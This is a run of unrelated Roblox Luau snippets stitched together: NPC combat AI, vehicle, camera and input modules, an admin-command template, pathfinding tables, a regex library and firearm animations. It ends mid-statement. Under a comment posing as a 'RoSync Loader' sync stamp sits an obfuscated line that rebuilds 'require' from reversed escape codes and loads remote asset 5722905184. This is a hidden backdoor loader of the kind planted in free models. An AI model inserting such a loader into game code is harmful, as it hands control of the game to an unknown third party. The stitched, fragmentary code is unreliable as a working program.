local leftSlash = script.Parent:WaitForChild("LeftSlash") local leftSlashAnimation = myHuman:LoadAnimation(leftSlash) leftSlashAnimation.Priority = Enum.AnimationPriority.Action local rightSlash = script.Parent:WaitForChild("RightSlash") local rightSlashAnimation = myHuman:LoadAnimation(rightSlash) rightSlashAnimation.Priority = Enum.AnimationPriority.Action function getUnstuck() myHuman:Move(Vector3.new(math.random(-1,1),0,math.random(-1,1))) wait(0.3) end function wander() local goal = Vector3.new(myRoot.Position.X+math.random(-120,120),myRoot.Position.Y,myRoot.Position.Z+math.random(-120,120)) local path = game:GetService("PathfindingService"):CreatePath() path:ComputeAsync(myRoot.Position, goal) if path.Status == Enum.PathStatus.Success then pathFailCount = 0 local waypoints = path:GetWaypoints() for i,v in ipairs(waypoints) do if v.Action == Enum.PathWaypointAction.Jump then myHuman.Jump = true end myHuman:MoveTo(v.Position) if i % 5 == 0 then if findTarget() then break end end local moveSuccess = myHuman.MoveToFinished:Wait() if not moveSuccess then break end end else pathFailCount = pathFailCount + 1 if pathFailCount > 10 then pathFailCount = 0 getUnstuck() end end end function findTarget() local dist = 200 local target = nil for i,v in ipairs(workspace:GetChildren()) do local human = v:FindFirstChild("Humanoid") local torso = v:FindFirstChild("Torso") or v:FindFirstChild("HumanoidRootPart") if human and torso and v.Name ~= script.Parent.Name then if (myRoot.Position - torso.Position).Magnitude < dist and human.Health > 0 then target = torso dist = (myRoot.Position - torso.Position).Magnitude end end end return target end function checkSight(target) local ray = Ray.new(myRoot.Position, (target.Position - myRoot.Position).Unit * 200) local hit,position = workspace:FindPartOnRayWithIgnoreList(ray, {script.Parent}) if hit then if hit:IsDescendantOf(target.Parent) then return true end end return false end function checkHeight(target) if math.abs(myRoot.Position.Y - target.Position.Y) < 5 then return true end return false end function checkDirect(target) if checkSight(target) and checkHeight(target) and (myRoot.Position - target.Position).Magnitude < 30 then return true end return false end function attack(target) if attackCool == true then attackCool = false myHuman:MoveTo(target.Position) myRoot.Swing:Play() local attackAnim = math.random(1,2) if attackAnim == 1 then leftSlashAnimation:Play() else rightSlashAnimation:Play() end local human = target.Parent.Humanoid human:TakeDamage(math.random(100,300)) myRoot.Hit:Play() if human.Health < 1 then wait(0.3) end spawn(function() wait(1) attackCool = true end) end end function pathToTarget(target) local path = game:GetService("PathfindingService"):CreatePath() path:ComputeAsync(myRoot.Position,target.Position) if path.Status == Enum.PathStatus.Success then pathFailCount = 0 local waypoints = path:GetWaypoints() for i,v in ipairs(waypoints) do if v.Action == Enum.PathWaypointAction.Jump then myHuman.Jump = true end spawn(function() wait(0.5) if myRoot.Position.Y < myHuman.WalkToPoint.Y and chasing == false then myHuman.Jump = true end end) myHuman:MoveTo(v.Position) local moveSuccess = myHuman.MoveToFinished:Wait() if not moveSuccess then break end if i % 5 == 0 then if checkDirect(target) then break end if target ~= findTarget() then break end end if (waypoints[#waypoints].Position - target.Position).Magnitude > 30 then break end end else pathFailCount = pathFailCount + 1 if pathFailCount > 10 then pathFailCount = 0 getUnstuck() end end end function chase(target) chasing = true myHuman:MoveTo(target.Position) end function main() chasing = false local target = findTarget() if target then local targetDistance = (myRoot.Position - target.Position).Magnitude if checkDirect(target) then if targetDistance > 3 then chase(target) end if targetDistance < 10 then attack(target) end elseif checkSight(target) and math.abs(myRoot.Position.X - target.Position.X) < 1 and math.abs(myRoot.Position.Z - target.Position.Z) < 1 then getUnstuck() else pathToTarget(target) end else wander() end end while wait(0.1) do if myHuman.Health < 1 then break end main() end
-- carSeat.Parent.Body.Dash.Screen.G.Radio.Song.Text = "PRESET 4" -- carSeat.Parent.Body.Dash.Screen.G.Radio.Title.Text = ""
elseif carSeat.Stations.mood.Value == 4 then carSeat.Parent.Body.MP.Sound:Stop() carSeat.Stations.mood.Value = 1
--[[ Last synced 9/4/2021 09:32 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Ritter's loose bounding sphere algorithm
function CameraUtils.getLooseBoundingSphere(parts: {BasePart}) local points = table.create(#parts) for idx, part in pairs(parts) do points[idx] = part.Position end -- pick an arbitrary starting point local x = points[1] -- get y, the point furthest from x local y = x local yDist = 0 for _, p in ipairs(points) do local pDist = (p - x).Magnitude if pDist > yDist then y = p yDist = pDist end end -- get z, the point furthest from y local z = y local zDist = 0 for _, p in ipairs(points) do local pDist = (p - y).Magnitude if pDist > zDist then z = p zDist = pDist end end -- use (y, z) as the initial bounding sphere local sc = (y + z)*0.5 local sr = (y - z).Magnitude*0.5 -- expand sphere to fit any outlying points for _, p in ipairs(points) do local pDist = (p - sc).Magnitude if pDist > sr then -- shift to midpoint sc = sc + (pDist - sr)*0.5*(p - sc).Unit -- expand sr = (pDist + sr)*0.5 end end return sc, sr end
-- Keyboard controller is really keyboard and mouse controller
local computerInputTypeToModuleMap = { [Enum.UserInputType.Keyboard] = Keyboard, [Enum.UserInputType.MouseButton1] = Keyboard, [Enum.UserInputType.MouseButton2] = Keyboard, [Enum.UserInputType.MouseButton3] = Keyboard, [Enum.UserInputType.MouseWheel] = Keyboard, [Enum.UserInputType.MouseMovement] = Keyboard, [Enum.UserInputType.Gamepad1] = Gamepad, [Enum.UserInputType.Gamepad2] = Gamepad, [Enum.UserInputType.Gamepad3] = Gamepad, [Enum.UserInputType.Gamepad4] = Gamepad, } function ControlModule.new() local self = setmetatable({},ControlModule) -- The Modules above are used to construct controller instances as-needed, and this -- table is a map from Module to the instance created from it self.controllers = {} self.activeControlModule = nil -- Used to prevent unnecessarily expensive checks on each input event self.activeController = nil self.touchJumpController = nil self.moveFunction = Players.LocalPlayer.Move self.humanoid = nil self.lastInputType = Enum.UserInputType.None self.cameraRelative = true -- For Roblox self.vehicleController self.humanoidSeatedConn = nil self.vehicleController = nil self.touchControlFrame = nil self.vehicleController = VehicleController.new(CONTROL_ACTION_PRIORITY) Players.LocalPlayer.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) Players.LocalPlayer.CharacterRemoving:Connect(function(char) self:OnCharacterAdded(char) end) if Players.LocalPlayer.Character then self:OnCharacterAdded(Players.LocalPlayer.Character) end RunService:BindToRenderStep("ControlScriptRenderstep", Enum.RenderPriority.Input.Value, function(dt) self:OnRenderStepped(dt) end) UserInputService.LastInputTypeChanged:Connect(function(newLastInputType) self:OnLastInputTypeChanged(newLastInputType) end) local propertyChangeListeners = { UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function() self:OnTouchMovementModeChange() end), Players.LocalPlayer:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function() self:OnTouchMovementModeChange() end), UserGameSettings:GetPropertyChangedSignal("ComputerMovementMode"):Connect(function() self:OnComputerMovementModeChange() end), Players.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function() self:OnComputerMovementModeChange() end), } --[[ Touch Device UI ]]-- self.playerGui = nil self.touchGui = nil self.playerGuiAddedConn = nil if UserInputService.TouchEnabled then self.playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui") if self.playerGui then self:CreateTouchGuiContainer() self:OnLastInputTypeChanged(UserInputService:GetLastInputType()) else self.playerGuiAddedConn = Players.LocalPlayer.ChildAdded:Connect(function(child) if child:IsA("PlayerGui") then self.playerGui = child self:CreateTouchGuiContainer() self.playerGuiAddedConn:Disconnect() self.playerGuiAddedConn = nil self:OnLastInputTypeChanged(UserInputService:GetLastInputType()) end end) end else self:OnLastInputTypeChanged(UserInputService:GetLastInputType()) end return self end
--[[ Script Variables ]]
-- while not Players.LocalPlayer do task.wait() end local LocalPlayer = Players.LocalPlayer local ThumbpadFrame = nil local TouchObject = nil local OnInputEnded = nil -- is defined in Create() local OnTouchChangedCn = nil local OnTouchEndedCn = nil local currentMoveVector = Vector3.new(0,0,0)
--Functions
game.Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function(char) --Varibles local head = char.Head local newtext = nametag:Clone() --Cloning the text. local uppertext = newtext.UpperText local lowertext = newtext.LowerText local humanoid = char.Humanoid humanoid.DisplayDistanceType = "None" --Main Text newtext.Parent = head newtext.Adornee = head uppertext.Text = player.Name --"If" Statements end) end)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again BoneModelName = "Souls + Error + Insanity combo" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- << COMMANDS >>
local module = { ----------------------------------- { Name = ""; Aliases = {}; Prefixes = {settings.Prefix}; Rank = 1; RankLock = false; Loopable = false; Tags = {}; Description = ""; Contributors = {}; -- Args = {}; Function = function(speaker, args) end; UnFunction = function(speaker, args) end; -- }; ----------------------------------- { Name = ""; Aliases = {}; Prefixes = {settings.Prefix}; Rank = 1; RankLock = false; Loopable = false; Tags = {}; Description = ""; Contributors = {}; -- Args = {}; ClientCommand = true; --[[ FireAllClients = true; BlockWhenPunished = true; PreFunction = function(speaker, args) end; Function = function(speaker, args) wait(10) end; --]] -- }; ----------------------------------- }; return module
--Torque Converter and CVT:
Tune.RPMEngage = 3500 -- Keeps RPMs to this level until passed
--Create Tweens
F.ExtendTweenInfo = function(Time,Style,Direction,Repeat,Reverse,DelayTime,WA1,WA2) local Tweeninfo = TweenInfo.new(Time, Style, Direction, Repeat, Reverse, DelayTime) TS = TweenService:Create(Weld1, Tweeninfo, {C0 = Orig1 * CFrame.Angles(0,0,WA1)}) TS1 = TweenService:Create(Weld2, Tweeninfo, {C0 = Orig2 * CFrame.Angles(0,0,WA2)}) end F.RetractTweenInfo = function(Time,Style,Direction,Repeat,Reverse,DelayTime) local Tweeninfo1 = TweenInfo.new(Time, Style, Direction, Repeat, Reverse, DelayTime) TS2 = TweenService:Create(Weld1, Tweeninfo1, {C0 = Orig1}) TS3 = TweenService:Create(Weld2, Tweeninfo1, {C0 = Orig2}) end
--[=[ Retrieves the service, ensuring initialization if we are in the initialization phase. @param serviceType ServiceType @return any ]=]
function ServiceBag:GetService(serviceType) if typeof(serviceType) == "Instance" then serviceType = require(serviceType) end assert(type(serviceType) == "table", "Bad serviceType definition") local service = self._services[serviceType] if service then self:_ensureInitialization(serviceType) return self._services[serviceType] else if self._parentProvider then return self._parentProvider:GetService(serviceType) end -- Try to add the service if we're still initializing services self:_addServiceType(serviceType) self:_ensureInitialization(serviceType) return self._services[serviceType] end end
-- SOME OTHER VARIABLES --
local gui local Animations
---[[ Message Settings ]]
module.MaximumMessageLength = 350 module.DisallowedWhiteSpace = {"\n", "\r", "\t", "\v", "\f"} module.ClickOnPlayerNameToWhisper = true module.ClickOnChannelNameToSetMainChannel = true module.BubbleChatMessageTypes = {ChatConstants.MessageTypeDefault, ChatConstants.MessageTypeWhisper}
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{60,41,30,56,58},t}, [49]={{60,41,39,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{60,41,30,56,58,20,19},t}, [59]={{60,41,59},t}, [63]={{60,41,30,56,58,23,62,63},t}, [34]={{60,41,39,35,34},t}, [21]={{60,41,30,56,58,20,21},t}, [48]={{60,41,39,35,34,32,31,29,28,44,45,49,48},t}, [27]={{60,41,39,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{60,41,39,35,34,32,31},t}, [56]={{60,41,30,56},t}, [29]={{60,41,39,35,34,32,31,29},t}, [13]={n,f}, [47]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{60,41,39,35,34,32,31,29,28,44,45},t}, [57]={{60,41,30,56,57},t}, [36]={{60,41,39,35,37,36},t}, [25]={{60,41,39,35,34,32,31,29,28,27,26,25},t}, [71]={{60,61,71},t}, [20]={{60,41,30,56,58,20},t}, [60]={{60},t}, [8]={n,f}, [4]={n,f}, [75]={{60,61,71,72,76,73,75},t}, [22]={{60,41,30,56,58,20,21,22},t}, [74]={{60,61,71,72,76,73,74},t}, [62]={{60,41,30,56,58,23,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{60,41,39,35,37},t}, [2]={n,f}, [35]={{60,41,39,35},t}, [53]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{60,61,71,72,76,73},t}, [72]={{60,61,71,72},t}, [33]={{60,41,39,35,37,36,33},t}, [69]={{60,69},t}, [65]={{60,41,30,56,58,20,19,66,64,65},t}, [26]={{60,41,39,35,34,32,31,29,28,27,26},t}, [68]={{60,41,30,56,58,20,19,66,64,67,68},t}, [76]={{60,61,71,72,76},t}, [50]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{60,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{60,41,39,35,34,32,31,29,28,27,26,25,24},t}, [23]={{60,41,30,56,58,23},t}, [44]={{60,41,39,35,34,32,31,29,28,44},t}, [39]={{60,41,39},t}, [32]={{60,41,39,35,34,32},t}, [3]={n,f}, [30]={{60,41,30},t}, [51]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{60,41,30,56,58,20,19,66,64,67},t}, [61]={{60,61},t}, [55]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{60,41,39,40,38,42},t}, [40]={{60,41,39,40},t}, [52]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{60,41},t}, [17]={n,f}, [38]={{60,41,39,40,38},t}, [28]={{60,41,39,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{60,41,30,56,58,20,19,66,64},t}, } return r
------------------------------------------------------------------------
local TOGGLE_INPUT_PRIORITY = Enum.ContextActionPriority.High.Value + 100 local INPUT_PRIORITY = Enum.ContextActionPriority.High.Value + 101 local FREECAM_MACRO_KB = {Enum.KeyCode.LeftShift, Enum.KeyCode.Z} local NAV_GAIN = Vector3.new(1, 1, 1)*64 local PAN_GAIN = Vector2.new(0.75, 1)*8 local FOV_GAIN = 300 local PITCH_LIMIT = rad(90) local VEL_STIFFNESS = 1.5 local PAN_STIFFNESS = 1.0 local FOV_STIFFNESS = 4.0
--[[ Creates a throttle function that drops any repeat calls within a cooldown period and instead returns the result of the last call ]]
function FunctionUtils.throttle(fn, secondsCooldown) assert(FunctionUtils.isCallable(fn)) assert(type(secondsCooldown) == "number") assert(secondsCooldown > 0) local cached = false local lastResult = nil return function(...) if not cached then cached = true lastResult = fn(...) delay( secondsCooldown, function() cached = false end ) end return lastResult end end function FunctionUtils.isCallable(thing) return type(thing) == "function" or (type(thing) == "table" and getmetatable(thing) and getmetatable(thing).__call ~= nil) end return FunctionUtils
--
local flag_map = { a = 'anchored', i = 'caseless', m = 'multiline', s = 'dotall', u = 'unicode', U = 'ungreedy', x ='extended', }; local posix_class_names = { alnum = true, alpha = true, ascii = true, blank = true, cntrl = true, digit = true, graph = true, lower = true, print = true, punct = true, space = true, upper = true, word = true, xdigit = true, }; local escape_chars = { -- grouped -- digit, spaces and words [0x44] = { "class", "digit", true }, [0x53] = { "class", "space", true }, [0x57] = { "class", "word", true }, [0x64] = { "class", "digit", false }, [0x73] = { "class", "space", false }, [0x77] = { "class", "word", false }, -- horizontal/vertical whitespace and newline [0x48] = { "class", "blank", true }, [0x56] = { "class", "vertical_tab", true }, [0x68] = { "class", "blank", false }, [0x76] = { "class", "vertical_tab", false }, [0x4E] = { 0x4E }, [0x52] = { 0x52 }, -- not grouped [0x42] = 0x08, [0x6E] = 0x0A, [0x72] = 0x0D, [0x74] = 0x09, }; local b_escape_chars = { -- word boundary and not word boundary [0x62] = { 0x62, { "class", "word", false } }, [0x42] = { 0x42, { "class", "word", false } }, -- keep match out [0x4B] = { 0x4B }, -- start & end of string [0x47] = { 0x47 }, [0x4A] = { 0x4A }, [0x5A] = { 0x5A }, [0x7A] = { 0x7A }, }; local valid_categories = { C = true, Cc = true, Cf = true, Cn = true, Co = true, Cs = true, L = true, Ll = true, Lm = true, Lo = true, Lt = true, Lu = true, M = true, Mc = true, Me = true, Mn = true, N = true, Nd = true, Nl = true, No = true, P = true, Pc = true, Pd = true, Pe = true, Pf = true, Pi = true, Po = true, Ps = true, S = true, Sc = true, Sk = true, Sm = true, So = true, Z = true, Zl = true, Zp = true, Zs = true, Xan = true, Xps = true, Xsp = true, Xuc = true, Xwd = true, }; local class_ascii_punct = { [0x21] = true, [0x22] = true, [0x23] = true, [0x24] = true, [0x25] = true, [0x26] = true, [0x27] = true, [0x28] = true, [0x29] = true, [0x2A] = true, [0x2B] = true, [0x2C] = true, [0x2D] = true, [0x2E] = true, [0x2F] = true, [0x3A] = true, [0x3B] = true, [0x3C] = true, [0x3D] = true, [0x3E] = true, [0x3F] = true, [0x40] = true, [0x5B] = true, [0x5C] = true, [0x5D] = true, [0x5E] = true, [0x5F] = true, [0x60] = true, [0x7B] = true, [0x7C] = true, [0x7D] = true, [0x7E] = true, }; local end_str = { 0x24 }; local dot = { 0x2E }; local beginning_str = { 0x5E }; local alternation = { 0x7C }; local function check_re(re_type, name, func) if re_type == "Match" then return function(...) local arg_n = select('#', ...); if arg_n < 1 then error("missing argument #1 (Match expected)", 2); end; local arg0, arg1 = ...; if not (proxy[arg0] and proxy[arg0].name == "Match") then error(string.format("invalid argument #1 to %q (Match expected, got %s)", name, typeof(arg0)), 2); else arg0 = proxy[arg0]; end; if name == "group" or name == "span" then if arg1 == nil then arg1 = 0; end; end; return func(arg0, arg1); end; end; return function(...) local arg_n = select('#', ...); if arg_n < 1 then error("missing argument #1 (RegEx expected)", 2); elseif arg_n < 2 then error("missing argument #2 (string expected)", 2); end; local arg0, arg1, arg2, arg3, arg4, arg5 = ...; if not (proxy[arg0] and proxy[arg0].name == "RegEx") then if type(arg0) ~= "string" and type(arg0) ~= "number" then error(string.format("invalid argument #1 to %q (RegEx expected, got %s)", name, typeof(arg0)), 2); end; arg0 = re.fromstring(arg0); elseif name == "sub" then if type(arg2) == "number" then arg2 ..= ''; elseif type(arg2) ~= "string" then error(string.format("invalid argument #3 to 'sub' (string expected, got %s)", typeof(arg2)), 2); end; elseif type(arg1) == "number" then arg1 ..= ''; elseif type(arg1) ~= "string" then error(string.format("invalid argument #2 to %q (string expected, got %s)", name, typeof(arg1)), 2); end; if name ~= "sub" and name ~= "split" then local init_type = typeof(arg2); if init_type ~= 'nil' then arg2 = tonumber(arg2); if not arg2 then error(string.format("invalid argument #3 to %q (number expected, got %s)", name, init_type), 2); elseif arg2 < 0 then arg2 = #arg1 + math.floor(arg2 + 0.5) + 1; else arg2 = math.max(math.floor(arg2 + 0.5), 1); end; end; end; arg0 = proxy[arg0]; if name == "match" or name == "matchiter" then arg3 = ...; elseif name == "sub" then arg5 = ...; end; return func(arg0, arg1, arg2, arg3, arg4, arg5); end; end;
--CHANGE THIS LINE-- (Main)
Signal = script.Parent.Parent.Parent.ControlBox.SignalValues.Signal1a -- Change last word
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.65,-0.75,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.2),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.2),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.2) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(.75,0.25,-2.1) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.2),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.2),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.2) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[3],TweenInfo.new(0.15),{C1 = require(script.Parent.Settings).LeftPos}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.15),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.15),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.15) end; ChamberBKAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.15) end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play() wait(0.15) local MagZ = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagZ.Parent = objs[5] MagZ.Mag:Destroy() MagZ.Name = "MagZ" MagZ.Transparency = 0 MagZ.Anchored = false MagZ.CanCollide = false game.Debris:AddItem(MagZ, 5) objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.5) local MagC = objs[5]:WaitForChild("Mag"):clone() MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - 